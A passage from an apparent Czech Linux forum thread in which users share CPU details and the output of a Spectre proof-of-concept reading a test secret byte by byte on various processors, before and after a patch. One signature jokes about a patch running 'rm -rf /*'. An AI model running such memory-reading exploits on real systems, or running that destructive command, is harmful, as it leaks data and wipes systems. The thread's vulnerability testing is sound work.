Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0x4D=’M’ score=986 (second best: 0x01 score=762)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0x61=’a’ score=988 (second best: 0x01 score=776)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0x67=’g’ score=996 (second best: 0x01 score=764)
Reading at malicious_x = 0xffffffffffdfed4f... Success: 0x69=’i’ score=23 (second best: 0x6A score=9)
Reading at malicious_x = 0xffffffffffdfed50... Unclear: 0x63=’c’ score=995 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed51... Unclear: 0x20=’ ’ score=989 (second best: 0x01 score=804)
Reading at malicious_x = 0xffffffffffdfed52... Unclear: 0x57=’W’ score=991 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfed53... Unclear: 0x6F=’o’ score=983 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfed54... Unclear: 0x72=’r’ score=987 (second best: 0x01 score=757)
Reading at malicious_x = 0xffffffffffdfed55... Unclear: 0x64=’d’ score=992 (second best: 0x01 score=797)
Reading at malicious_x = 0xffffffffffdfed56... Unclear: 0x73=’s’ score=992 (second best: 0x01 score=754)
Reading at malicious_x = 0xffffffffffdfed57... Unclear: 0x20=’ ’ score=988 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfed58... Unclear: 0x61=’a’ score=986 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed59... Unclear: 0x72=’r’ score=990 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed5a... Unclear: 0x65=’e’ score=985 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed5b... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed5c... Unclear: 0x53=’S’ score=989 (second best: 0x01 score=798)
Reading at malicious_x = 0xffffffffffdfed5d... Unclear: 0x71=’q’ score=987 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdfed5e... Unclear: 0x75=’u’ score=994 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfed5f... Unclear: 0x65=’e’ score=994 (second best: 0x01 score=751)
Reading at malicious_x = 0xffffffffffdfed60... Unclear: 0x61=’a’ score=983 (second best: 0x01 score=801)
Reading at malicious_x = 0xffffffffffdfed61... Unclear: 0x6D=’m’ score=987 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed62... Unclear: 0x69=’i’ score=988 (second best: 0x01 score=810)
Reading at malicious_x = 0xffffffffffdfed63... Unclear: 0x73=’s’ score=995 (second best: 0x01 score=809)
Reading at malicious_x = 0xffffffffffdfed64... Unclear: 0x68=’h’ score=990 (second best: 0x01 score=780)
Reading at malicious_x = 0xffffffffffdfed65... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed66... Unclear: 0x4F=’O’ score=987 (second best: 0x01 score=787)
Reading at malicious_x = 0xffffffffffdfed67... Unclear: 0x73=’s’ score=989 (second best: 0x01 score=789)
Reading at malicious_x = 0xffffffffffdfed68... Unclear: 0x73=’s’ score=993 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfed69... Unclear: 0x69=’i’ score=992 (second best: 0x01 score=763)
Reading at malicious_x = 0xffffffffffdfed6a... Unclear: 0x66=’f’ score=972 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed6b... Unclear: 0x72=’r’ score=988 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed6c... Unclear: 0x61=’a’ score=990 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfed6d... Unclear: 0x67=’g’ score=992 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfed6e... Unclear: 0x65=’e’ score=988 (second best: 0x01 score=750)
Reading at malicious_x = 0xffffffffffdfed6f... Unclear: 0x2E=’.’ score=995 (second best: 0x01 score=781)
4.1. 21:55 Johanka | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
A ty optimalizace to opravdu rozbijou.
4.1. 21:58 Johanka | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
Jo, pardon, čím vyšší, tím vyšší pravděpodobnost že je to správně. Jako bych nic nenapsala.
4.1. 21:58 Mrkva | skóre: 22 | blog: urandom
Rozbalit Rozbalit vše Re: Spectre na AMD
Koukam ze ta paticka k tomu komentari docela sedne :)

Po aplikaci patche to uspesne ocekavane bezi na: E3-1231 v3, i7-6700K, i5-4200U. Doma muzu zkusit jeste 1800X, ale predpokladam ze to tam probehne taky.
Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
5.1. 16:12 PavelM
Rozbalit Rozbalit vše Re: Spectre na AMD
processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 94
model name	: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
stepping	: 3
microcode	: 0xba
cpu MHz		: 3346.325
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 5424.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

####$ ./spectre2
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=998 (second best: 0x01 score=765)
Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=727)
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=775)
Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=777)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=998 (second best: 0x01 score=752)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=998 (second best: 0x01 score=788)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=755)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=796)
Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=998 (second best: 0x01 score=775)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=999 (second best: 0x01 score=763)
Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x57=’W’ score=988 (second best: 0x01 score=712)
Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=999 (second best: 0x01 score=795)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=782)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=997 (second best: 0x01 score=794)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=794)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=997 (second best: 0x01 score=805)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=788)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=715)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=993 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=998 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=997 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=998 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=752)
Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=999 (second best: 0x01 score=778)
Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=792)
Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=713)
Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=997 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=999 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=795)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=716)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=996 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=996 (second best: 0x01 score=764)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=736)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=996 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=998 (second best: 0x01 score=772)
4.1. 21:49 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
Intel(R) Xeon(R) CPU E3-1230 V2

uname -a Linux debian-virt 3.16.0-0.bpo.4-amd64 #1 SMP Debian 3.16.7-ckt11-1+deb8u6~bpo70+1 (2015-11-11) x86_64 GNU/Linux
lvmsyncuser@debian-virt:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 58
model name      : Intel(R) Xeon(R) CPU E3-1230 V2 @ 3.30GHz
stepping        : 9
microcode       : 0x12
cpu MHz         : 1732.371
cache size      : 8192 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms
bogomips        : 6600.20
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:
..
.

lvmsyncuser@debian-virt:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff900... Unclear: 0xDF=’▒’ score=999 (second best: 0xD0 score=999)
Reading at malicious_x = 0xffffffffffdff901... Unclear: 0xF2=’▒’ score=999 (second best: 0xEB score=999)
Reading at malicious_x = 0xffffffffffdff902... Unclear: 0xF5=’▒’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdff903... Unclear: 0xF6=’▒’ score=999 (second best: 0xF5 score=999)
Reading at malicious_x = 0xffffffffffdff904... Unclear: 0xF8=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff905... Unclear: 0xFF=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff906... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff907... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff908... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
Reading at malicious_x = 0xffffffffffdff909... Unclear: 0xFA=’▒’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdff90a... Unclear: 0xFB=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff90b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff90c... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff90d... Unclear: 0xF2=’▒’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdff90e... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff90f... Unclear: 0xFE=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff910... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff911... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff912... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
Reading at malicious_x = 0xffffffffffdff913... Unclear: 0xFF=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff914... Unclear: 0xEE=’▒’ score=999 (second best: 0xED score=999)
Reading at malicious_x = 0xffffffffffdff915... Unclear: 0xF7=’▒’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdff916... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff917... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff918... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff919... Unclear: 0xF6=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff91a... Unclear: 0xF8=’▒’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdff91b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF1 score=999)
Reading at malicious_x = 0xffffffffffdff91c... Unclear: 0xFB=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff91d... Unclear: 0xFF=’▒’ score=999 (second best: 0xFA score=999)
Reading at malicious_x = 0xffffffffffdff91e... Unclear: 0xF8=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff91f... Unclear: 0xFC=’▒’ score=999 (second best: 0xF5 score=999)
Reading at malicious_x = 0xffffffffffdff920... Unclear: 0xF6=’▒’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdff921... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff922... Unclear: 0xFC=’▒’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdff923... Unclear: 0xFC=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff924... Unclear: 0xF1=’▒’ score=999 (second best: 0xED score=999)
Reading at malicious_x = 0xffffffffffdff925... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff926... Unclear: 0xF8=’▒’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdff927... Unclear: 0xF6=’▒’ score=999 (second best: 0xF3 score=999)
4.1. 22:32 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
po aplikaci patche z postu z 21:47

Intel(R) Xeon(R) CPU E3-1230 V2
lvmsyncuser@debian-virt:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff920... Success: 0x54=’T’ score=11 (second best: 0x04 score=3)
Reading at malicious_x = 0xffffffffffdff921... Success: 0x68=’h’ score=25 (second best: 0x04 score=10)
Reading at malicious_x = 0xffffffffffdff922... Unclear: 0x65=’e’ score=27 (second best: 0x00 score=14)
Reading at malicious_x = 0xffffffffffdff923... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff924... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdff925... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff926... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdff927... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff928... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdff929... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff92a... Success: 0x57=’W’ score=17 (second best: 0x04 score=6)
Reading at malicious_x = 0xffffffffffdff92b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdff92c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdff92d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdff92e... Success: 0x73=’s’ score=15
Reading at malicious_x = 0xffffffffffdff92f... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff930... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff931... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdff932... Unclear: 0x65=’e’ score=9 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdff933... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff934... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdff935... Success: 0x71=’q’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff936... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdff937... Success: 0x65=’e’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff938... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff939... Success: 0x6D=’m’ score=15
Reading at malicious_x = 0xffffffffffdff93a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff93b... Success: 0x73=’s’ score=15
Reading at malicious_x = 0xffffffffffdff93c... Success: 0x68=’h’ score=13 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdff93d... Success: 0x20=’ ’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff93e... Success: 0x4F=’O’ score=21 (second best: 0x04 score=8)
Reading at malicious_x = 0xffffffffffdff93f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdff940... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdff941... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff942... Success: 0x66=’f’ score=61 (second best: 0x04 score=28)
Reading at malicious_x = 0xffffffffffdff943... Success: 0x72=’r’ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdff944... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff945... Success: 0x67=’g’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff946... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdff947... Success: 0x2E=’.’ score=2
4.1. 22:18 sk7
Rozbalit Rozbalit vše Re: Spectre na AMD
Mám tu ešte 12 rokov starý Celeron je tam Puppy linux 4.3
cat /proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 15
model		: 2
model name	: Intel(R) Celeron(R) CPU 2.40GHz
stepping	: 9
cpu MHz		: 2399.920
cache size	: 128 KB
fdiv_bug	: no
hlt_bug		: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 2
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe up pebs bts cid xtpr
bogomips	: 4799.84
clflush size	: 64

./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffe970... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe971... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe972... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe973... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe974... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe975... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe976... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe977... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe978... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe979... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97a... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97b... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97c... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97d... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97e... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97f... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe980... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe981... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe982... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe983... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe984... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe985... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe986... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe987... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe988... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe989... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98a... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98b... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98c... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98d... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98e... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98f... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe990... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe991... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe992... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe993... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe994... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe995... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe996... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe997... Success: 0xFF=’I’ score=0 
4.1. 22:27 HP Fan
Rozbalit Rozbalit vše Re: Spectre na AMD
HPE MicroServer Gen10


cat /proc/cpuinfo
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 96
model name	: AMD Opteron(tm) X3216 APU
stepping	: 1
microcode	: 0x6006118
cpu MHz		: 1200.000
cache size	: 1024 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 1
apicid		: 16
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3194.18
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 96
model name	: AMD Opteron(tm) X3216 APU
stepping	: 1
microcode	: 0x6006118
cpu MHz		: 1200.000
cache size	: 1024 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 1
apicid		: 17
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3194.18
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]
uname -a
Linux 4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb68... Success: 0xB4=’e’ score=47 (second best: 0x0D score=21)
Reading at malicious_x = 0xffffffffffdfeb69... Success: 0xB4=’e’ score=11 (second best: 0x5B score=3)
Reading at malicious_x = 0xffffffffffdfeb6a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb6b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
Reading at malicious_x = 0xffffffffffdfeb6c... Success: 0xB4=’e’ score=9 (second best: 0xF4 score=2)
Reading at malicious_x = 0xffffffffffdfeb6d... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb6e... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb6f... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb70... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb71... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb72... Success: 0xB4=’e’ score=9 (second best: 0xFE score=2)
Reading at malicious_x = 0xffffffffffdfeb73... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb74... Success: 0xB4=’e’ score=11 (second best: 0x19 score=3)
Reading at malicious_x = 0xffffffffffdfeb75... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb76... Success: 0xB4=’e’ score=13 (second best: 0x5B score=4)
Reading at malicious_x = 0xffffffffffdfeb77... Success: 0xB4=’e’ score=15 (second best: 0x02 score=5)
Reading at malicious_x = 0xffffffffffdfeb78... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb79... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
Reading at malicious_x = 0xffffffffffdfeb7c... Unclear: 0xB4=’e’ score=793 (second best: 0x0D score=402)
Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0xB4=’e’ score=11 (second best: 0x18 score=3)
